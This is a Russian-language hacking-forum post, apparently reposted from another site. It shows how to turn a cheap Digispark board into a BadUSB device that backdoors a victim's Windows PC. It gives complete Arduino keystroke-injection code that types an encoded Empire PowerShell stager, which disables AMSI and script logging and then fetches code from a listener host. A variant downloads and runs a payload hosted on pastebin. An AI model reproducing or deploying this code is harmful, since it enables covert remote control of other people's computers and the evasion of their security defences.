• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Digispark - badusb за 1$

Miron_T31

Местный
Сообщения
195
Реакции
160
0 руб.
Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark
IMG_20170826_153239.jpg
Стоит эта приблуда 1$ во всем известном Китайском интернет-магазине.
Что-ж, какова цена - таковы и возможности. За такую скромную сумму мы имеем:
  1. 8 кб памяти для вашего кода, 2 из которых съедает загрузчик.
  2. Небольшую документацию: http://digistump.com/wiki/digispark
О том, как настроить окружение можно прочитать здесь: http://digistump.com/wiki/digispark/tutorials/connecting

Что же по поводу bad usb? Digi позволяет эмулировать клавиатуру, что даёт нам возможность создать powershell-backdoor. Приступим.

Генерация пейлоада.

Генерировать буду с помощью Empire.
sudo ./empire
listeners
uselistener http
Что бы посмотреть все возможные варианты - после uselistener 2 раза нажмите Tab
Снимок экрана из 2017-08-31 22-38-26.png
Устанавливаем имя, порт, и запускаем листенер
Снимок экрана из 2017-08-31 22-38-44.png
Получаем наш powershell-payload
launcher powershell Digi
Снимок экрана из 2017-08-31 22-39-49.png
Пишем код.

Вся структура кода выглядит так:

#include "DigiKeyboard.h" // Импортируем модуль клавиатуры


void setup()
{
// Одноразовое выполнение кода
}

void loop()
{
// Циклическое выполнение кода
}

Основа будет выполняться один раз. При тестировании возникла проблема переключения раскладки, но опытным путём выяснилось, что на русифицированной windows 7 все новые окна по умолчанию открываются с русской раскладкой. В таком случае код будет выглядеть так:
#include "DigiKeyboard.h"
#define KEY_ALT 226 // Кнопка left Alt
#define KEY_SHIFT A0 // Кнопка left Shift

void setup()
{
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(2000); // Время простоя в миллисекундах

DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Открываем поиск
DigiKeyboard.delay(2000);

DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английску
DigiKeyboard.delay(2000);

DigiKeyboard.println("cmd.exe");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);

DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английский
DigiKeyboard.delay(2000);

DigiKeyboard.println("powershell -noP -sta -w 1 -enc JABHAHIAbwB1AFAAUABvAGwAaQBjAFkAUwBFAHQAdABpAG4ARwBTACAAPQAgAFsAcgBFAGYAXQAuAEEAUwBzAGUAbQBCAEwAeQAuAEcAZQB0AFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAgACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBHAEUAdABWAEEAbAB1AEUAKAAkAG4AVQBMAEwAKQA7ACQARwBSAG8AVQBwAFAAbwBsAEkAYwB5AFMARQBUAHQASQBuAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AIAA9ACAAMAA7ACQARwByAG8AVQBwAFAAbwBsAGkAQwB5AFMARQBUAHQAaQBuAEcAcwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQAgAD0AIAAwADsAWwBSAGUARgBdAC4AQQBTAHMAZQBNAGIATABZAC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAdABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAHUAZQAoACQATgB1AEwATAAsACQAVABSAHUAZQApAH0AOwBbAFMAWQBTAFQARQBtAC4ATgBlAFQALgBTAEUAUgBWAEkAYwBFAFAAbwBpAE4AVABNAGEAbgBhAGcAZQBSAF0AOgA6AEUAeABwAEUAQwBUADEAMAAwAEMATwBOAHQASQBOAHUARQA9ADAAOwAkAHcAQwA9AE4AZQB3AC0ATwBiAGoAZQBDAFQAIABTAHkAUwBUAEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAEkARQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AEMALgBIAEUAQQBEAEUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAFIATwB4AFkAPQBbAFMAWQBTAHQARQBtAC4ATgBlAHQALgBXAGUAQgBSAGUAUQB1AEUAUwBUAF0AOgA6AEQAZQBGAGEAVQBMAHQAVwBlAGIAUABSAG8AeABZADsAJAB3AGMALgBQAFIATwBYAHkALgBDAFIARQBEAEUATgB0AEkAYQBMAHMAIAA9ACAAWwBTAHkAUwBUAEUATQAuAE4AZQB0AC4AQwByAGUARABlAG4AVABpAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQB1AEwAdABOAGUAVAB3AE8AUgBrAEMAcgBlAGQARQBOAHQAaQBhAEwAcwA7ACQASwA9AFsAUwB5AFMAVABlAG0ALgBUAGUAeABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcANwBiADIANABhAGYAYwA4AGIAYwA4ADAAZQA1ADQAOABkADYANgBjADQAZQA3AGYAZgA3ADIAMQA3ADEAYwA1ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAEEARABlAFIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABLAEYARQBIAEkAYwBSAEgAcgBvAGkAdAB1AG8AWQB6ADgARgBaAG0AOQA1AEwATwBkADAAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQAwADIAOgAxADMAMwA3ACcAOwAkAHQAPQAnAC8AbgBlAHcAcwAuAHAAaABwACcAOwAkAGQAYQB0AEEAPQAkAFcAQwAuAEQAbwBXAE4ATABvAGEARABEAEEAVABhACgAJABTAEUAcgArACQAdAApADsAJABJAHYAPQAkAEQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAYQB0AGEAWwA0AC4ALgAkAEQAYQBUAGEALgBsAGUATgBHAFQASABdADsALQBqAE8AaQBOAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA=="); // Полезная нагрузка
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop()
{
digitalWrite(0, HIGH);
digitalWrite(1, HIGH); // Мигалка светодиода
delay(100); // по окончанию
digitalWrite(0, HIGH); // скрипта
digitalWrite(1, HIGH);
delay(100);
}

Компилируем ии... Получаем ошибку. Памяти на столько мало, что не хватает даже на powershell-backdoor!
Снимок экрана из 2017-08-31 22-44-21.png
Можно попробовать вставить payload, сгенерированный в msfvenom с функцией --smallest, либо найти нагрузку меньше, но это вы можете сделать сами, я же покажу второй вариант.

Обходной путь.
В powershell версии 3.0 и выше (начиная с windows 8) появилась функция Invoke-WebRequest, которая позволяет парсить сайты. Воспользуемся ей.
Для этого заливаем свой пейлоад на pastebin:
Выделение_001.png
Вместо прямого использования нагрузки спарсим его:
#include "DigiKeyboard.h"

#define KEY_ALT 226 // Кнопка left Alt
#define KEY_SHIFT A0 // Кнопка left Shift

void setup()
{
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(2000); // Время простоя в миллисекундах

DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(2000);

DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
DigiKeyboard.delay(2000);

DigiKeyboard.println("cmd.exe");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);

DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
DigiKeyboard.delay(2000);

DigiKeyboard.println("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);

DigiKeyboard.println("$url = 'pastebin.com/tA76vf4A'"); // Ссылка на пейлоад на пастбин
delay(50);
DigiKeyboard.println("$result = Invoke-WebRequest -Uri $url");
delay(50);
DigiKeyboard.println("powershell.exe -nop -e $result.content");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop()
{
digitalWrite(0, HIGH);
digitalWrite(1, HIGH); // Мигалка светодиода
delay(100); // по окончанию
digitalWrite(0, HIGH); // скрипта
digitalWrite(1, HIGH);
delay(100);
}

Теперь код занимает только 54% памяти.

Снимок экрана из 2017-08-31 23-27-06.png
Вонзив этот корявый клинок правосудия в usb-разъём жертвы вашего компьютера, выполнится ваш код на C. Не плохой потенциал, но вряд ли 6 кб памяти дадут вам его реализовать...

[FONT=Segoe UI, Helvetica Neue, Helvetica, Roboto, Oxygen, Ubuntu, Cantarell, Fira Sans, Droid Sans, sans-serif]Источник: https://codeby.net/forum/threads/digispark-badusb-za-1.60371/[/FONT]
 
Сверху Снизу